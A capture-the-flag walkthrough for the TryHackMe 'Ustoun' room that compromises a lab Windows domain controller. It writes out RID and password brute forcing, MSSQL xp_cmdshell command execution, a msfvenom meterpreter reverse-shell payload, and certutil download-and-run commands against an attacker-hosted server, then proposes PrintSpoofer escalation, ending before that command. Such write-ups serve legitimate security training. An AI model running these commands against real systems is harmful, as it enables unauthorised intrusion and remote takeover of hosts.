USTOUN

https://tryhackme.com/room/ustoun

Nmap

sudo nmap 10.10.82.202 -p- -sS -sV

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-06-24 07:30:31Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ustoun.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ustoun.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49795/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Starting off we try default LDAP nmap scripts with null credentials against the Domain Controller.

nmap -n -sV --script "ldap* and not brute" <IP>

This reveals the domain name of ustoun.local

I then checked SMB and was successful using anonymous login with Crackmapexec. Here I used the --rid-brute option and grepped for users accounts.

crackmapexec smb <IP> -u 'a' -p '' --users --rid-brute | grep '(SidTypeUser)'

Since we now have the user account SVC-Kerb I will attempt to brute force the login over SMB with Crackmapexec.

crackmapexec smb <IP> -u 'SVC-Kerb' -p /usr/share/wordlists/rockyou.txt | grep '[+]'

From here I was unable to execute commands through SMB or resolve any new information. I logged into SYSVOL and NETLOGON and was unable to find anything at all. WinRM was not accepting these credentials and RDP was not letting me in either.

I then tried MSSQL with Impacket's mssqlclient.py and was given access.

python mssqlclient.py -port 1433 svc-kerb:superman@<IP>

From here we can run enable_xp_cmdshell and then confirm command execution with xp_cmdshell whoami.

In order to gain a decent shell from here I next generated a msfvenom metasploit executable.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4422 -f exe -o reverse.exe

Then hosted a Python SimpleHTTPServer on my attacking machine. I then used the MSSQL session to download the file with certutil.exe and copy to c:\windows\temp. I then used another command to run the reverse.exe and gain a meterpreter shell.

xp_cmdshell cmd.exe /c certutil.exe -f -urlcache -split http://<IP>/reverse.exe c:\windows\temp\reverse.exe
xp_cmdshell cmd.exe /c c:\windows\temp\reverse.exe

Dropping into Shell and checking our privileges shows we have the privilege SeImpersonatePrivilege.

This can be used to perform Juicy Potato attacks or PrintSpoofer attacks. Checking systeminfo we notice we are running Windows Server 2019.

As a result a successful Juicy Potato attack would be unlikely however, a Print Spoofer attack or CVE-2020-1048 would be more viable and likely: https://nvd.nist.gov/vuln/detail/CVE-2020-1048.

To perform this attack upload the following binary to the target system: https://github.com/dievus/printspoofer.

Once uploaded run the following command to spawn a privileged shell.